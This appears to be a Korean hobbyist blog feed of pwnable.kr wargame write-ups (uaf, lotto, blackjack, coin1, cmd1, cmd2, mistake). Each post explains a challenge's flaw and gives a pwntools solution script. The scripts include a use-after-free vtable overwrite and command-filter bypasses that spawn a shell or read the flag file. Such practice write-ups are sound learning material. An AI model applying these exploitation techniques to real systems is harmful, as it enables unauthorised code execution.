power-girl0-0

블로그 이전했습니다!

power-girl0-0 — Mon, 29 Aug 2022 15:59:18 +0900

안녕하세요~~!!

해당 블로그가 다소 복잡한 감이 있어, 새롭게 블로그를 만들었습니다.

앞으로는 아래 주소에서 새로운 글을 볼 수 있으니, 참고해주세요!

감사합니다(●'◡'●)

https://d0bbyg.tistory.com/

d0bbyG

d0bbyg.tistory.com

[pwnable] uaf 풀이

power-girl0-0 — Mon, 21 Mar 2022 01:47:36 +0900

1. 문제

문제에 주어진 ssh로 접속하면, uaf.cpp와 uaf 실행파일이 주어진다.

uaf를 실행해보면, 아래와 같이 메뉴를 보여주고 입력할 수 있는 커서가 존재한다.

2. 풀기 전, 알고 가기

① 힙영역이란?

- 메모리를 동적으로 할당하여, 사용하는 공간을 의미한다.

- 필요에 의해, 메모리를 할당하고 해제한다.

② heap overflow란?

- 할당된 메모리보다 많은 값을 넣어서, 다른 메모리 주소 값까지 침범하여 발생한다.

- 만약, 함수 포인터가 존재하는 부분까지 침범해서 조작한다면, 프로그램의 실행 흐름을 바꿀 수 있는 문제가 발생한다.

③ UAF(Use After Free)

- 힙 영역에서 메모리 해제 후, 해제한 메모리 영역을 재사용할 때 발생하는 취약점이다.

3. C++ 코드

아래는 문제에서 주어진 코드이다.

#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
        virtual void give_shell(){
                system("/bin/sh");
        }
protected:
        int age;
        string name;
public:
        virtual void introduce(){
                cout << "My name is " << name << endl;
                cout << "I am " << age << " years old" << endl;
        }
};

class Man: public Human{
public:
        Man(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);

        size_t len;
        char* data;
        unsigned int op;
        while(1){
                cout << "1. use\n2. after\n3. free\n";
                cin >> op;

                switch(op){
                        case 1:
                                m->introduce();
                                w->introduce();
                                break;
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout << "your data is allocated" << endl;
                                break;
                        case 3:
                                delete m;
                                delete w;
                                break;
                        default:
                                break;
                }
        }

        return 0;
}

여기서 참고! C언어에서는 malloc과 free로 동적할당하지만, C++에서는 new과 delete를 사용한다.

위 코드 분석을 통해 알 수 있는 점은 아래와 같다.

⇨ class Human에 선언된 private권한의 give_shell()함수에 접근해, 쉘을 획득할 수 있다.
⇨ Human을 상속받은 man과 woman의 객체를 생성한다.
⇨ case 1은 생성한 객체 m과 w를 통해, introduce()함수를 불러온다.
⇨ case 2는 사용자에게 입력받아온 값을 바탕으로 동적할당한다. ( argv[1] : len / argv[2] : file )
⇨ case 3은 객체 m과 w 메모리를 해제한다.

4. 풀이

① gdb로 디컴파일한 결과, switch코드에 해당되는 부분을 볼 수 있었다.

   0x0000000000400fb2 <+238>:   mov    eax,DWORD PTR [rbp-0x18]
   0x0000000000400fb5 <+241>:   cmp    eax,0x2
   0x0000000000400fb8 <+244>:   je     0x401000 <main+316>
   0x0000000000400fba <+246>:   cmp    eax,0x3
   0x0000000000400fbd <+249>:   je     0x401076 <main+434>
   0x0000000000400fc3 <+255>:   cmp    eax,0x1
   0x0000000000400fc6 <+258>:   je     0x400fcd <main+265>
   0x0000000000400fc8 <+260>:   jmp    0x4010a9 <main+485>

② case 1의 코드 부분을 분석한 결과, give_shell( )의 주소 값을 알아낼 수 있다.

case 1은 생성한 객체 m과 w를 통해, introduce() 함수를 불러온다.

아래는 간단하게 주석 처리하여, 정리한 코드이다. 이를 참고해서 살펴보자.

   // Part : Man
   0x0000000000400fcd <+265>:   mov    rax,QWORD PTR [rbp-0x38] //동적할당한 Man을 불러옴.
   0x0000000000400fd1 <+269>:   mov    rax,QWORD PTR [rax]  //give_shell()
   0x0000000000400fd4 <+272>:   add    rax,0x8 
   0x0000000000400fd8 <+276>:   mov    rdx,QWORD PTR [rax] //introduce()
   0x0000000000400fdb <+279>:   mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fdf <+283>:   mov    rdi,rax
   0x0000000000400fe2 <+286>:   call   rdx
   // Part : Woman
   0x0000000000400fe4 <+288>:   mov    rax,QWORD PTR [rbp-0x30] //동적할당한 Woman을 불러옴.
   0x0000000000400fe8 <+292>:   mov    rax,QWORD PTR [rax] //give_shell()
   0x0000000000400feb <+295>:   add    rax,0x8
   0x0000000000400fef <+299>:   mov    rdx,QWORD PTR [rax] //introduce()
   0x0000000000400ff2 <+302>:   mov    rax,QWORD PTR [rbp-0x30]
   0x0000000000400ff6 <+306>:   mov    rdi,rax
   0x0000000000400ff9 <+309>:   call   rdx

Man에 대한 일부 부분으로, 0x401570주소값이 give_shell( ) 을 가르키도 있는 것을 볼 수 있다.

0x401570 주소부분을 확인해보면, vtable이라는 것을 알 수 있다.

위 주소값을 바탕으로 추측해서, 아래와 같이 vtable의 전체 구조를 확인할 수 있었다.

값을 확인해본 결과, 아래와 같이 give_shell()과 introduce()가 저장되어 있는 것을 볼 수 있다.

give_shell은 따로 오버라이딩하지 않았기 때문에, 0x40117a로 고정되어 있다.

즉, rax의 참조는 vtable이었던 것이다.

자 그럼 다시 코드로 돌아가보자.

   0x0000000000400fd1 <+269>:   mov    rax,QWORD PTR [rax]  //give_shell()
   0x0000000000400fd4 <+272>:   add    rax,0x8 
   0x0000000000400fd8 <+276>:   mov    rdx,QWORD PTR [rax] //introduce()

위 코드를 보니, rax참조에 +0x8 을 하면, introduce( )이다.

Woman도 같은 방식임을 확인할 수 있다.

즉, 우리는 rax참조값을 바꿔 vtable에서 give_shell( )을 호출하는 방식으로 문제를 풀 수 있다.

이때 +0x8을 해서 참조하므로, give_shell을 불러올려면 give_shell( )주소에서 0x8 뺀 값으로 rax를 바꾸면 된다.

시나리오를 만들어보자면, 아래와 같다.

할당되어 있는 m과 w 메모리를 해제하고, 해제한 메모리와 같은 크기를 할당한다.
이는 같은 크기이기 때문에, m과 w가 가르키고 있는 공간을 할당하게 된다.
새로 할당받은 공간을 악의적인 값으로 변경하고 메모리부분을 실행시키면, 해제했던 메모리를 재사용하게 된다.
이는 uaf취약점이 발생한 것으로, 접근이 불가능한 부분에 접근하여 shell을 획득할 수 있다.

시나리오를 바탕으로, 우리는 uaf 취약점을 활용해서 아래 순서대로 문제를 clear 할 수 있다.

① 메뉴 1번을 눌러서, 동적할당한 m과 w가 introduce( )함수의 주소값을 갖게 한다.
② 메뉴 3번을 눌러서, m과 w 메모리를 해제한다.
③ 메뉴 2번을 눌러서, 위에서 해제했던 메모리와 같은 크기를 동적할당하고, 값은 give_shell주소값으로 바꿔준다.
( 0x401570-0x8 = 0x401568 )
④ 메뉴 1번을 눌러서, 2번에서 해제했던 메모리를 재사용함으로써 uaf가 발생하는 취약점이다.

위 순서대로 실행하면, shell을 획득하여 flag를 얻을 수 있다.

5. Exploit Code

from pwn import *

argvs=[b"./uaf","4","/tmp/d0bbyG/attack"]
p = ssh(user = b"uaf", host = b"pwnable.kr", password = b"guest", port = 2222)
p1 = p.process(argv=argvs)

def PRINT():
    ans = p1.recvuntil(b"3. free")
    print(ans)

def USE():
    p1.sendline("1")

def AFTER():
    p1.sendline("2") 
    PRINT()

def FREE():
    p1.sendline("3")
    PRINT()

PRINT()
USE()
PRINT()
FREE()
AFTER()
AFTER()
USE()
p1.interactive()

[pwnable] lotto 풀이

power-girl0-0 — Thu, 17 Mar 2022 23:36:15 +0900

어서 오세요~~ (@^0^@)/

1. 문제

SSH로 접속해서, 확인해보면 lotto 실행파일과 C 코드가 존재한다.

해당 문제는 lotto게임 컨셉으로, 사용자가 입력한 값 6개와 랜덤 한 값 6개가 맞을 때 flag를 출력해준다.

2. 코드

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){

        int i;
        printf("Submit your 6 lotto bytes : ");
        fflush(stdout);

        int r;
        r = read(0, submit, 6);

        printf("Lotto Start!\n");
        //sleep(1);

        // generate lotto numbers
        int fd = open("/dev/urandom", O_RDONLY);
        if(fd==-1){
                printf("error. tell admin\n");
                exit(-1);
        }
        unsigned char lotto[6];
        if(read(fd, lotto, 6) != 6){
                printf("error2. tell admin\n");
                exit(-1);
        }
        for(i=0; i<6; i++){
                lotto[i] = (lotto[i] % 45) + 1;         // 1 ~ 45
        }
        close(fd);

        // calculate lotto score
        int match = 0, j = 0;
        for(i=0; i<6; i++){
                for(j=0; j<6; j++){
                        if(lotto[i] == submit[j]){
                                match++;
                        }
                }
        }

        // win!
        if(match == 6){
                system("/bin/cat flag");
        }
        else{
                printf("bad luck...\n");
        }

}

void help(){
        printf("- nLotto Rule -\n");
        printf("nlotto is consisted with 6 random natural numbers less than 46\n");
        printf("your goal is to match lotto numbers as many as you can\n");
        printf("if you win lottery for *1st place*, you will get reward\n");
        printf("for more details, follow the link below\n");
        printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
        printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

        // menu
        unsigned int menu;

        while(1){

                printf("- Select Menu -\n");
                printf("1. Play Lotto\n");
                printf("2. Help\n");
                printf("3. Exit\n");

                scanf("%d", &menu);

                switch(menu){
                        case 1:
                                play();
                                break;
                        case 2:
                                help();
                                break;
                        case 3:
                                printf("bye\n");
                                return 0;
                        default:
                                printf("invalid menu\n");
                                break;
                }
        }
        return 0;
}

3. 코드 분석

코드를 살펴보면 랜덤값과 입력값을 비교해서 6글자가 맞으면, flag를 얻을 수 있다.

랜덤 값을 알 수 없기 때문에 urandom함수를 제외 후 남은 코드를 살펴보았다.

int match = 0, j = 0;
for(i=0; i<6; i++){
    for(j=0; j<6; j++){
        if(lotto[i] == submit[j]){
            match++;
        }
    }
}

// win!
if(match == 6){
    system("/bin/cat flag");
}
else{
    printf("bad luck...\n");
}

match값이 6이 되면, flag를 확인할 수 있다.

그전에, 이중 for문 부분에서 문제점을 확인할 수 있다.

' lotto[i] == submit[j] ' 조건에 맞으면 match의 값이 +1이 되는데, 이후에 for문이 끝나지 않고 6번 반복하게 된다.

즉, 랜덤한 값이 lotto의 한 글자만 맞아도 match값을 6으로 만들 수 있다는 의미이다.

한 가지 더 유의할 것은 입력받아온 값과 랜덤 값이 저장된 배열의 자료형이 char라는 것이다.

즉, 랜덤한 값의 범위인 1~45를 char로 변형시켜 입력해야 하는 것이다.

4. 풀이

코드 분석을 통해, flag를 구하기 위해서 2가지 조건을 정리할 수 있다.

1. 입력값은 랜덤한 값의 범위인 1 ~ 45를 char자료형으로 입력해야한다.
2. 입력값은 char자료형으로 해야하며, 6글자가 다 똑같아야 한다.
-> 두번째 for문에서 i는 그대로지만 j는 값이 바뀌기 때문에, if조건문의 True가 되려면 입력하는 6글자가 똑같아야 한다.

조건 1을 만족시키기 위해, python을 이용해서 1~45를 char자료형으로 바꿔보았다.

가장 첫번째에 있는 !를 입력해서, 풀어보자!

언제 랜덤값으로 33이 나올지 모르니, flag가 출력될 때까지 !(느낌표) 6개를 입력해보았다.

그 결과, flag를 얻을 수 있었다.

5. pwntools를 이용해서, flag획득

from pwn import *

PORT = 2222
USER = "lotto"
HOST = "pwnable.kr"
PASSWD = "guest"

p = ssh(user = USER, host=HOST, password=PASSWD, port = PORT)
p1 = p.process("./lotto")
print (p1.recv())
num = 0

while True:
    sleep(2)
    num+=1
    print("\n==[", num,"]=============" )

    p1.sendline("1")
    print (p1.recv())
    p1.sendline("!!!!!!")
    p1.recvuntil("Lotto Start!\n")
    ans = p1.recvline()
    print(ans)

    if b'bad luck' not in ans :
        break

6. 보안패치

두가지 방식으로 생각해보았다.

① 랜덤값과 입력값의 6글자가 값만 똑같으면 되는 경우
: 이중 for문을 하지 않아도 된다.

int match = 0;
for(i=0; i<6; i++){
    if(lotto[i] == submit[i]){
        match++;
}

② 랜덤값과 입력값의 6글자가 값과 위치가 똑같아야 하는 경우

: break를 넣어줘야 한다.

int match = 0, j = 0;
for(i=0; i<6; i++){
    for(j=0; j<6; j++){
        if(lotto[i] == submit[j]){
            match++;
            break;
        }
    }
}

안녕히가십쇼! ^^7

[pwnable] blackjack 풀이

power-girl0-0 — Wed, 16 Mar 2022 02:56:31 +0900

안녕하세요~~ (ﾉ◕ヮ◕)ﾉ*:･ﾟ✧

1. 문제

문제에는 nc접속 주소와 blackjack게임의 소스코드가 존재하는 웹주소가 주어진다.

( https://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html )

또한 문제 지문에서 백만 달러가 되면, flag를 얻을 수 있는 것을 확인할 수 있다.

2. 코드 분석

코드 중 play함수를 중점으로 살펴봐야 한다.

함수 이름 그대로, 게임 실행에 중점이 되는 함수가 play함수이다.

void play() //Plays game
{
     
     int p=0; // holds value of player_total
     int i=1; // counter for asking user to hold or stay (aka game turns)
     char choice3;
     
     cash = cash;
     cash_test(); // 파산인지 확인하는 함수.
     printf("\nCash: $%d\n",cash); //Prints amount of cash user has

     randcard(); //Generates random card
     
     player_total = p + l; //Computes player total
     p = player_total;
     
     printf("\nYour Total is %d\n", p); //Prints player total
     dealer(); // 딜러의 수를 구해오는 함수.
     betting(); // cash 베팅.
       
     while(i<=21) //While loop used to keep asking user to hit or stay at most twenty-one times
                  //  because there is a chance user can generate twenty-one consecutive 1's
     {
         if(p==21) //If user total is 21, win
         {
             printf("\nUnbelievable! You Win!\n");
             won = won+1;
             cash = cash+bet;
             printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
             dealer_total=0;
             askover();
         }
     
         if(p>21) //If player total is over 21, loss
         {
             printf("\nWoah Buddy, You Went WAY over.\n");
             loss = loss+1;
             cash = cash - bet;
             printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
             dealer_total=0;
             askover();
         }
     
         if(p<=21) //If player total is less than 21, ask to hit or stay
         {         
             printf("\n\nWould You Like to Hit or Stay?");
             
             scanf("%c", &choice3);
             while((choice3!='H') && (choice3!='h') && (choice3!='S') && (choice3!='s')) // If invalid choice entered
	         {                                                                           
                 printf("\n");
		         printf("Please Enter H to Hit or S to Stay.\n");
		         scanf("%c",&choice3);
	         }


	         if((choice3=='H') || (choice3=='h')) // If Hit, continues
	         { 
                 randcard();
                 player_total = p + l;
                 p = player_total;
                 printf("\nYour Total is %d\n", p);
                 dealer();
                  if(dealer_total==21) //Is dealer total is 21, loss
                  {
                      printf("\nDealer Has the Better Hand. You Lose.\n");
                      loss = loss+1;
                      cash = cash - bet;
                      printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
                      dealer_total=0;
                      askover();
                  } 
     
                  if(dealer_total>21) //If dealer total is over 21, win
                  {                      
                      printf("\nDealer Has Went Over!. You Win!\n");
                      won = won+1;
                      cash = cash+bet;
                      printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
                      dealer_total=0;
                      askover();
                  }
             }

             if((choice3=='S') || (choice3=='s')) // If Stay, does not continue
             {
                printf("\nYou Have Chosen to Stay at %d. Wise Decision!\n", player_total);
                stay();
             }
          }
             i++; //While player total and dealer total are less than 21, re-do while loop 
     } // End While Loop
} // End Function

play함수를 큰 범위로 정리하면, 아래와 같다.

1. 함수 호출 : cash_test( ), randcard( ), dealer( ), betting( )
① cash_test() : 파산인지 확인하는 함수.
② randcard() : 랜덤한 값으로 player total값을 구해오는 함수.
③ dealer() : 랜덤한 값으로 dealer total값을 구해오는 함수.
④ betting() : 사용자가 게임에 베팅할 돈을 입력하는 함수.

2. 호출 외 코드 : 크게는 win, loss, Hit, Stay관련 소스코드이다.

호출하는 함수 중 betting코드를 살펴보면, 이상한 부분을 확인할 수 있다.

int betting() -
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);

 if (bet > cash) //If player tries to bet more money than player has
 {
		printf("\nYou cannot bet more money than you have.");
		printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function

코드에서 cash는 현재 갖고 있는 돈의 값을 저장하고 있는 변수이다.

여기서 이상한 부분은 처음 입력받아온 bet이 cash보다 큰지 확인하는 조건문은 있지만,

다시 입력받아온 bet에 해당되는 조건문은 존재하지 않는 것이다.

즉, 처음에는 bet값이 cash보다 크면 조건문에 걸리지만

다시 한 번 입력받아온 값은 cash보다 커도 조건문이 존재하지 않기 때문에 문제가 발생하지 않는다.

3. 풀이

문제 지문에 적혀있듯이, flag는 백만 달러가 되면 얻을 수 있다.

그렇기 때문에 betting함수의 결함을 이용해서, 1000000 이상의 값을 두 번 입력하면 flag획득이 가능하다.

4. flag 획득.

Bye~~ (*￣3￣)╭

[pwnable] coin1 풀이

power-girl0-0 — Fri, 11 Mar 2022 02:22:14 +0900

안녕하세용!! *^____^*

1. 문제

이번 문제에서는 nc 접속 정보를 주고, 접속 시 위조지폐 찾는 게임이 시작된다.

2. 풀이

위 문제를 봤을 때, 조건은 아래와 같다.

1. 가짜 동전을 100번 찾아야함.
2. N이 동전개수이고, c가 시도 횟수를 의미함.
3. 위조지폐 맞출 때마다, n과 c는 새로운 값을 갖고 있음.
4. input으로 인덱스를 순서대로 넣었을 시,
무게의 합산으로 output됨.
5. 인덱스 0부터 시작임.
6. 위조지폐의 무게만 9값을 가지고 있음.
7. 시간제한이 존재함.

즉, 해결방안은 아래와 같다.

1. 이진탐색을 이용해서, 시간을 절약한다.
( 참고 : https://power-girl0-0.tistory.com/559?category=777937 )

2. 추출된 무게 합산을 나누기 10했을 때,
나머지가 0인 경우 위조지폐가 없고, 나머지가 9인 경우 위조지폐가 존재함을 알 수 있다.

이어서, 4번 pwntool을 보도록 하자!

3. 풀기 전, 시도

(1) 시도

c언어로 9가 존재하는 인덱스를 찾아 추출하는 코드를 작성해보았다.

#include <stdio.h>

int main(){

	int a[] = {10,10,10,10,10,10,10,10,10,10,10,10,10,9,10,10,10};
	int key = 9;
	int start = 0;
	int end = (sizeof(a)/sizeof(int))-start;
	int mid = 0;

	while((a[mid])!= key){
		mid = (end+start)/2;
		printf("  mid index : %d, num : %d\n",mid, a[mid]);
        
        int extra = 0;
		int num = 0;

        for(int i=start; i<mid; i++){
            num+=a[i];
        }
        printf("  plus num : %d\n\n", num);

        if((num%10)==0){
            start = mid;
        }else{
            end = mid;   
        }
	}
	printf("\n  find %d key index : %d\n", a[mid], mid);

	return 0;
}

(2) 실행결과

4. pwntool을 이용한 풀이

from pwn import *

r = remote("127.0.0.1", 9007)
r.recvuntil("- Ready? starting in 3 sec... -")

for i in range(100):

    r.recvuntil('N=')
    n = int(r.recvuntil(' '))  
    r.recvuntil('C=')
    c = int(r.recvuntil('\n'))
    print("[{}] n : {}, c : {}".format(i, n, c))

    start = 0
    end = n-1
    mid = 0

    for k in range(c):
        mid = (start+end)//2
        in_str = ''
        
        for k in range(start, mid+1):
            in_str += (str(k)+' ')

        r.sendline(in_str)
        ans = int(r.recvline())

        if (ans%10)==9:
            end = mid
        else:
            start = mid+1
    
    r.sendline(str(end))
    r.recvline()

    print("[{}] find : {}".format(i, mid)) 
    print("\n----------------------\n")

r.interactive()

※ 참고 : 로컬보다 pwnable.kr로 원격접속해서, 코드를 실행하면 빠르게 flag를 확인할 수 있다.

5. flag 획득

잘못되거나 부족한 부분이 있다면 댓글 남겨주세요~!
피드백은 언제나 환영입니다~~( •̀ ω •́ )✧

이진 탐색 (Binary Search)

power-girl0-0 — Wed, 9 Mar 2022 03:29:02 +0900

wargame 풀다가, 이진 탐색을 이용한 문제라서,
간단하게 이진 탐색 코드를 짜보았습니다.

1. 이진탐색이란?

(1) 정의

- 오름차순으로 정렬된 리스트에서 특정 위치를 찾는 알고리즘이다.
- 비교 한 번할 때마다, 탐색 범위가 50%로 줄어든다.

(2) 과정

① 배열의 중간 값을 선택하여 찾고자하는 값과 비교한다.
② 찾고자 하는 값이 중간 값보다 크면 오른쪽을 대상으로, 작으면 왼쪽을 대상으로 정하여 탐색한다.
③ 이는 값을 찾을 때까지 탐색하는 것을 반복한다.

2. Code

- 해당 코드는 9가 존재하는 인덱스 위치를 알아내는 코드로 작성되었다.

#include <stdio.h>
#include <stdbool.h>

int main(){
	printf("\n   =====================\n");
	printf("      Binary Search!\n");
	printf("   =====================\n\n");
	
	int num[] = {1,2,3,4,5,6,7,8,9,10};
	int key = 9;
	int start = 0;
	int end = (sizeof(num)/sizeof(int))-start;
	int mid = 0;

	while(true){
		mid = (start+end)/2;
		printf("     Now mid : %d\n", mid);

		if(num[mid]<key){
			start = mid;
		}else if(num[mid]>key){
			end = mid;
		}else if(num[mid] == key){
			printf("\n   --------------------\n\n");
			printf("     Find %d index : %d\n\n",num[mid],mid);
			return 0;
		}else{
			printf("Error\n");
		}

	}

	return 0;
}

3. 결과

잘못되거나 부족한 부분이 있다면 댓글 남겨주세요~!
피드백은 언제나 환영입니다~~( •̀ ω •́ )✧

[pwnable] cmd2 풀이

power-girl0-0 — Mon, 21 Feb 2022 01:19:48 +0900

안녕하십니까!!! ( ͡~ ͜ʖ ͡°)

1. 문제

이번 문제에서도 cmd2 바이너리 파일과 cmd2의 c코드가 주어지며, flag 바이너리가 존재한다.

cmd2의 c코드는 아래와 같다.

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "=")!=0;
        r += strstr(cmd, "PATH")!=0;
        r += strstr(cmd, "export")!=0;
        r += strstr(cmd, "/")!=0;
        r += strstr(cmd, "`")!=0;
        r += strstr(cmd, "flag")!=0;
        return r;
}

extern char** environ;
void delete_env(){
        char** p;
        for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
        delete_env();
        putenv("PATH=/no_command_execution_until_you_become_a_hacker");
        if(filter(argv[1])) return 0;
        printf("%s\n", argv[1]);
        system( argv[1] );
        return 0;
}

2. 풀기 전, 알고가기!

① 환경변수

- 현재 사용하는 쉘의 실행파일에 대한 위치를 저장하는 변수이다.

- 변수명과 값으로 구성되어 있다.

- 리눅스의 환경변수 설정에 관해, 잘 나와 있는 페이지 : https://wikidocs.net/72712

② strstr(찾을 대상, 찾고자 하는 문자열)

- 문자열을 찾는 함수이다.

- 찾고자 하는 문자열이 찾을 대상에 존재하는지 찾아주는 함수이다.

- 문자열이 존재하면 위치를 반환하고, 없으면 NULL값을 반환한다.

③ extern char** environ

- 환경변수 목록을 갖고 있는 전역변수이다.

- environ은 C언어에 만들어져 있는 전역변수이다.

④ getenv

- 매개변수 값과 일치하는 환경변수의 name이 갖고 있는 value를 가져오는 함수이다.

- 리턴값 : 실행이 성공하면 내용에 대한 포인터를 반환하고, 실패 시 NULL을 반환한다.

⑤ putenv

- name=value 형식으로, 기존의 환경변수를 변경하거나 새로운 환경변수를 생성하여 값을 설정한다.

- 환경변수가 존재하면 매개변수 값에 따라 환경변수가 변경되고,

존재하지 않으면 매개변수 값이 새로운 환경변수가 된다.

- 리턴값 : 실행이 성공하면 0을 반환하고, 오류가 발생하면 -1 을 반환한다.

⑥ setenv

- name과 value를 별도로 취한다.

- 기존의 환경변수를 변경하거나 새로운 환경변수를 생성하여 값을 설정한다.

⑦ putenv와 setenv 차이점

- putenv 문제점 : 인자로 받은 값에 대한 포인터를 환경변수로 설정한다.

즉, 자동변수 경우 해당 함수가 끝나면 메모리가 해제되면서 환경변수는 쓰레기 값을 갖게 되어 버린다.

- putenv 해결점 : 1> 동적할당(malloc)을 사용한다. 2> setenv를 사용한다.

- setenv가 해결방안인 이유 : 인자로 받은 값을 복사하여, 환경변수로 설정한다.

⑧ Bash 내장 명령어

- 참고 : https://www.gnu.org/software/bash/manual/html_node/Bash-Builtins.html

3. 풀이 및 flag획득.

① command -p

옵션에서 -p는 PATH 의 기본값을 사용할 수 있게 된다.

즉, cat명령어를 /bin/cat과 같이 경로를 작성하지 않아도 사용할 수 있다는 의미이다.

② set -s

set 명령어는 사용자 환경 변수 설정 및 조회가 가능하다.

( 참고 : https://wikidocs.net/72712 )

③ read

리눅스 명령어 중 read는 특정 변수에 사용자가 입력한 값을 기억시킬 수 있다.

그래서, 스크립트 파일을 만들면 사용자로부터 값을 입력받아서 변수에 설정하고 필요할 때 해당 값을 사용할 수 있다.

참고로 인자 값을 줄 때, 작은따옴표(')는 꼭 들어가야 한다.

작은 따옴표가 없으면 코드가 실행되기 때문에,

작은따옴표(')를 사용해서 문자열로 인식하게 하고 system함수를 통해, 실행시키면 되는 것이다.

(참고 : https://youtu.be/6os_UHBI2ps )

4. pwntool을 이용하여, flag획득

from pwn import *

p = ssh("cmd2","pwnable.kr",port=2222, password="mommy now I get what PATH environment i
s for :)")
file = b'./cmd2'
arg = 'command -p cat fla?'

p1 = p.process([file, arg])
p1.interactive()

안녕히계십쇼!! （〃｀ 3′〃）

[pwnable] cmd1 풀이

power-girl0-0 — Sun, 20 Feb 2022 19:27:40 +0900

안녕하세욥 ^o^

1. 문제

cmd1에 대한 c코드와 바이너리가 주어지고, flag파일이 존재한다.

아래는 cmd1의 c코드이다.

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "flag")!=0;
	r += strstr(cmd, "sh")!=0;
	r += strstr(cmd, "tmp")!=0;
	return r;
}
int main(int argc, char* argv[], char** envp){
	putenv("PATH=/thankyouverymuch");
	if(filter(argv[1])) return 0;
	system( argv[1] );
	return 0;
}

2. 풀이

코드를 확인해보면, 아래와 같은 조건을 확인할 수 있다.

① 입력 값이 flag, sh, tmp은 사용하지 못하게 필터링하고 있다.
② 입력 값을 system함수에 넣어서 실행되고 있는 것을 확인할 수 있다.

즉, 우리는 입력값에 시스템 명령어를 넣어서 flag를 확인하는 문제인 것 같다.

단 필터링을 우회해서 말이다!

cmd1 바이너리 파일의 권한을 살펴보면, setgid의 권한이 존재하는 것을 알 수 있다.

여기까지 확인이 되었다면, 어떻게 풀어야할지 감을 잡을 수 있다.

sh를 우회해서 shell을 획득하거나, flag를 우회해서 flag파일을 읽으면 된다는 판단이 나온다.

우회하는 방법은 "3.flag획득"을 확인해보기 바란다.

3. flag 획득

① 방식1

echo 방식을 통해 s와 h를 따로 출력해서, sh를 만들어주는 방식이다.

② 방식2

?h는 두글자의 문자 중, 두번째 글자가 h인 것을 출력하라는 의미이다.

즉, sh가 추출되어 /bin/sh가 실행되는 것이다.

③ 방식3

방식2와 같은 방법으로, flag파일을 바로 확인한다.

④ 방식4

/bin/sh를 base64방식으로 바꾼 뒤, 입력값으로 넣어줄 때 다시 base64 디코딩을 진행해준다.

⑤ 방식5

[e-g]는 정규표현식이므로, e와 g사이의 f가 출력된다.

⑥ 방식 6

$1은 아무 의미도 없기 때문에, 가능하다.

4. pwntool을 이용하여, flag 획득

Code

from pwn import *

p = ssh("cmd1","pwnable.kr",port=2222,password="guest")
file = b'./cmd1'
arg = '/bin/$(echo s)$(echo h)'

p1 = p.process([file, arg])
p1.send("/bin/cat flag")
p1.interactive()

실행결과

다양한 방식을 알고자, 여러 블로그를 참고하여 정리하였습니다.

안녕히계세욥 ~ ^3^

[pwnable] mistake 풀이

power-girl0-0 — Wed, 16 Feb 2022 01:48:31 +0900

Hello~ 안녕하세요! o(*°▽°*)o

1. 문제

flag, mistake, password의 바이너라 파일이 존재하고, mistake에 대한 c코드가 주어진다.

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
        int i;
        for(i=0; i<len; i++){
                s[i] ^= XORKEY;
        }
}

int main(int argc, char* argv[]){

        int fd;
        if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
                printf("can't open password %d\n", fd);
                return 0;
        }

        printf("do not bruteforce...\n");
        sleep(time(0)%20);

        char pw_buf[PW_LEN+1];
        int len;
        if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
                printf("read error\n");
                close(fd);
                return 0;
        }

        char pw_buf2[PW_LEN+1];
        printf("input password : ");
        scanf("%10s", pw_buf2);

        // xor your input
        xor(pw_buf2, 10);

        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
                printf("Password OK\n");
                system("/bin/cat flag\n");
        }
        else{
                printf("Wrong Password\n");
        }

        close(fd);
        return 0;
}

2. 풀이

위 코드를 살펴보면, 크게 3가지 조건이 존재하는 것을 알 수 있다.

① password파일을 open후, read함수를 통해 10byte값만큼 읽어, pw_buf에 저장한다.
② 10byte만큼 값을 입력받은 후, xor한다. 그 값은 pw_buf2배열에 존재한다.
③ pw_buf와 pw_buf2의 값이 같으면, flag값이 출력된다.

하지만, 아래 코드를 자세히 살펴봐야한다.

if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
             printf("can't open password %d\n", fd);
             return 0;
 }

if조건문에서 연산자 우선순위에 의해, =보다 <가 먼저 실행된다.

즉, open함수에 대한 return값과 0을 비교해서 나온 결과값 false가 fd에 들어가게 되는 것이다.

따라서, read함수의 fd값은 0이 되어서 password를 읽어오는 것이 아니라 값을 입력받게 되는 것이다.

그래서 pw_buf에 공격자가 원하는 값을 삽입할 수 있게 되는 것이다.

이후 pw_buf에 넣은 값을 xor하여 입력값으로 넣으면,

pw_buf와 pw_buf2의 값이 같아지게 되어서 flag를 얻을 수 있는 것이다.

아래는 디컴파일하면서, 공부했던 것이다.

기록해두고, 나중에 참고하려고 적어둔다. ( 부분만 가져온 것임. )

(gdb) disas main
Dump of assembler code for function main:
   0x00005555555549a1 <+0>:     push   rbp
   0x00005555555549a2 <+1>:     mov    rbp,rsp
   0x00005555555549a5 <+4>:     sub    rsp,0x40
